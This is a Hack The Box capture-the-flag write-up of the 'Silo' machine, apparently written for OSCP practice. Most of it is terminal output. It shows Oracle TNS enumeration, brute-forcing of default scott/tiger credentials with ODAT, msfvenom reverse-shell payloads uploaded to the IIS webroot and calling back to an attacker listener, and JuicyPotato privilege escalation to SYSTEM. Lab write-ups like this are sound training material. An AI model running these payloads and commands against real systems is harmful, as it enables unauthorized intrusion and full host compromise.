In this practice box from Hack The Box (HTB), we explore one of the machines from TJNull’s list, which is widely recognized as part of the essential preparation for the Offensive Security Certified Professional (OSCP) exam. TJNull’s curated list is designed to help individuals hone their penetration testing skills and get accustomed to the types…
Enumeration
Nmap scan
# Nmap 7.94 scan initiated Thu Nov 9 04:56:11 2023 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -oN /home/kali/HTB/silo/results/10.10.10.82/scans/_quick_tcp_nmap.txt -oX /home/kali/HTB/silo/results/10.10.10.82/scans/xml/_quick_tcp_nmap.xml 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up, received user-set (0.28s latency).
Scanned at 2023-11-09 04:56:24 EST for 190s
Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 8.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/8.5
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns syn-ack Oracle TNS listener 11.2.0.2.0 (unauthorized)
8080/tcp open http syn-ack Oracle XML DB Enterprise Edition httpd
|_http-server-header: Oracle XML DB/Oracle Database
|_http-title: 400 Bad Request
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=XDB
49152/tcp open msrpc syn-ack Microsoft Windows RPC
49153/tcp open msrpc syn-ack Microsoft Windows RPC
49154/tcp open msrpc syn-ack Microsoft Windows RPC
49155/tcp open msrpc syn-ack Microsoft Windows RPC
49159/tcp open oracle-tns syn-ack Oracle TNS listener (requires service name)
49160/tcp open msrpc syn-ack Microsoft Windows RPC
49161/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-11-09T09:59:28
|_ start_date: 2023-11-09T09:55:38
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 52707/tcp): CLEAN (Couldn't connect)
| Check 2 (port 36267/tcp): CLEAN (Couldn't connect)
| Check 3 (port 38458/udp): CLEAN (Failed to receive data)
| Check 4 (port 60673/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 9 04:59:34 2023 -- 1 IP address (1 host up) scanned in 204.20 seconds
Enumerate Oracle TNS Listener and there is an exploit walkthrough on hacktricks
Using a checker, we see this box is vulnerable
╭─kali@kali ~/HTB/silo/oracle-tns-poison ‹master●›
╰─$ python2 ./check_tns_poison.py 10.10.10.82 1521 1 ↵
[*] [Optional] In another terminal execute the following command (replace eth0 with your network interface):
tshark -i eth0 -f 'host 10.10.10.82 and tcp port 1521'
Press [Enter] to continue
[*] Sending initial buffer ...
h9,.:�
(CONNECT_DATA=(COMMAND=service_register_NSGR))
[*] Recevied following data:
49�
(DESCRIPTION=(TMP=))
[+] Perform the following checks (for port 1521 only):
[+] Check in tshark/wireshark for TNS packets.
[-] Target is vulnerable if TNS packet has ACCEPT.
[-] Target is not vulnerable if TNS packet has REFUSE.
[+] Found 'Accept' in the received response.
[-] Target is vulnerable.
╭─kali@kali ~/HTB/silo/oracle-tns-poison ‹master●›
╰─$
ODAT — Oracle database tool
I installed this in OPT
╭─kali@kali ~/opt/odat ‹master-python3›
╰─$ ./odat.py all -s 10.10.10.82
[+] Checking if target 10.10.10.82:1521 is well configured for a connection...
[+] According to a test, the TNS listener 10.10.10.82:1521 is well configured. Continue...
[1] (10.10.10.82:1521): Is it vulnerable to TNS poisoning (CVE-2012-1675)?
[+] Impossible to know if target is vulnerable to a remote TNS poisoning because SID is not given.
[2] (10.10.10.82:1521): Searching valid SIDs
[2.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server
[+] 'XE' is a valid SID. Continue... ############################################################################################################################################################################################################################################################ | ETA: 00:00:03
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:06:57
[2.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521)
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:00:13
[2.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521)
[+] 'XE' is a valid SID. Continue... ############################################################################################################################################################################################################################ | ETA: 00:00:40
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:06:15
[+] SIDs found on the 10.10.10.82:1521 server: XE
[3] (10.10.10.82:1521): Searching valid Service Names
[3.1] Searching valid Service Names thanks to a well known Service Name list on the 10.10.10.82:1521 server
[+] 'XE' is a valid Service Name. Continue... ############################################################################################################################################################################################################################################################ | ETA: 00:00:03
[+] 'XEXDB' is a valid Service Name. Continue...
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:07:02
[3.2] Searching valid Service Names thanks to a brute-force attack on 1 chars now (10.10.10.82:1521)
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:00:13
[3.3] Searching valid Service Names thanks to a brute-force attack on 2 chars now (10.10.10.82:1521)
[+] 'XE' is a valid Service Name. Continue... ############################################################################################################################################################################################################################ | ETA: 00:00:40
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:06:15
[+] Service Name(s) found on the 10.10.10.82:1521 server: XE,XEXDB
[!] Notice: SID 'XE' found. Service Name 'XE' found too: Identical database instance. Removing Service Name 'XE' from Service Name list in order to don't do same checks twice
[4] (10.10.10.82:1521): Searching valid accounts on the XE SID
The login cis has already been tested at least once. What do you want to do: | ETA: 00:22:29
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
c
[!] Notice: 'ctxsys' account is locked, so skipping this username for password | ETA: 01:54:45
[!] Notice: 'dbsnmp' account is locked, so skipping this username for password | ETA: 01:43:13
[!] Notice: 'dip' account is locked, so skipping this username for password###### | ETA: 01:28:44
[!] Notice: 'hr' account is locked, so skipping this username for password############################################### | ETA: 00:55:07
[!] Notice: 'mdsys' account is locked, so skipping this username for password########################################################################################## | ETA: 00:34:47
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for password######################################################################################################################## | ETA: 00:24:28
[!] Notice: 'outln' account is locked, so skipping this username for password########################################################################################################################################## | ETA: 00:21:17
[+] Valid credentials found: scott/tiger. Continue... ############################################################################################################################################################################################## | ETA: 00:10:33
[!] Notice: 'xdb' account is locked, so skipping this username for password##################################################################################################################################################################################################################################################### | ETA: 00:01:56
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:47:49
[+] Accounts found on 10.10.10.82:1521/sid:XE:
scott/tiger
[5] (10.10.10.82:1521): Searching valid accounts on the XEXDB Service Name
The login abm has already been tested at least once. What do you want to do: | ETA: --:--:--
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
c
[!] Notice: 'ctxsys' account is locked, so skipping this username for password | ETA: 00:28:04
[!] Notice: 'dbsnmp' account is locked, so skipping this username for password | ETA: 00:26:39
[!] Notice: 'dip' account is locked, so skipping this username for password###### | ETA: 00:24:46
[!] Notice: 'hr' account is locked, so skipping this username for password############################################### | ETA: 00:19:19
[!] Notice: 'mdsys' account is locked, so skipping this username for password########################################################################################## | ETA: 00:14:26
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for password######################################################################################################################## | ETA: 00:11:06
[!] Notice: 'outln' account is locked, so skipping this username for password########################################################################################################################################## | ETA: 00:09:56
[+] Valid credentials found: scott/tiger. Continue... ############################################################################################################################################################################################## | ETA: 00:05:25
[!] Notice: 'xdb' account is locked, so skipping this username for password##################################################################################################################################################################################################################################################### | ETA: 00:01:04
100% |#################################################################################################################################################################################################################################################
Found Creds Scott/tiger on the XE SD
ODAT WIKI –> https://github.com/quentinhardy/odat/wiki/all
uploading files
Reverse shell – ASPX
─kali@kali ~/HTB/silo
╰─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 EXITFUNC=thread -f aspx -o shell.aspx 1 ↵
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3405 bytes
Saved as: shell.aspx
from hattricks
./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /home/kali/HTB/silo/shell.aspx --sysdba
Run this command with odat to upload
╰─$ ./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /home/kali/HTB/silo/shell.aspx --sysdba
[1] (10.10.10.82:1521): Put the /home/kali/HTB/silo/shell.aspx local file in the C:\inetpub\wwwroot\ path (named shell.aspx) of the 10.10.10.82 server
[+] The /home/kali/HTB/silo/shell.aspx local file was put in the remote C:\inetpub\wwwroot\ path (named shell.aspx)
╭─kali@kali ~/opt/odat ‹master-python3●›
Reverse shell
╰─$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.82] 49163
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
We see we have setimpersonatepriv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
We will try juicy potato. We serve all files from kali
╭─kali@kali ~/HTB/silo
╰─$ ls
20980.c ferox-http_10_10_10_82:80_-1699523677.state odat proxy.py shell2.exe shell.exe
CVE-2012-1675 JuicyPotato.exe oracle-tns-poison results shell.aspx tnspoisonv1.py
╭─kali@kali ~/HTB/silo
╰─$ rm shell2.exe
╭─kali@kali ~/HTB/silo
╰─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=444 EXITFUNC=thread -f exe -o shell2.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell2.exe
╭─kali@kali ~/HTB/silo
╰─$ serve 900
The tun0 IP is 10.10.14.16 and the eth0 IP is 192.168.1.4.
Starting HTTP server on port 900...
Serving HTTP on 0.0.0.0 port 900 (http://0.0.0.0:900/) ...
10.10.10.82 - - [10/Nov/2023 06:12:25] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:12:28] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:12:40] "GET /shell2.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:12:41] "GET /shell2.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:17:39] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:17:41] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:18:33] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:18:35] "GET /JuicyPotato.exe HTTP/1.1" 200 -
we run juicy potato and get the shell
c:\TEMP>JuicyPotato.exe -t * -p C:\temp\shell2.exe -l 444
JuicyPotato.exe -t * -p C:\temp\shell2.exe -l 444
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 444
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\TEMP>cd ..
and
╭─kali@kali ~/HTB/silo
╰─$ nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.82] 49180
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd ../
cd ../
C:\Windows>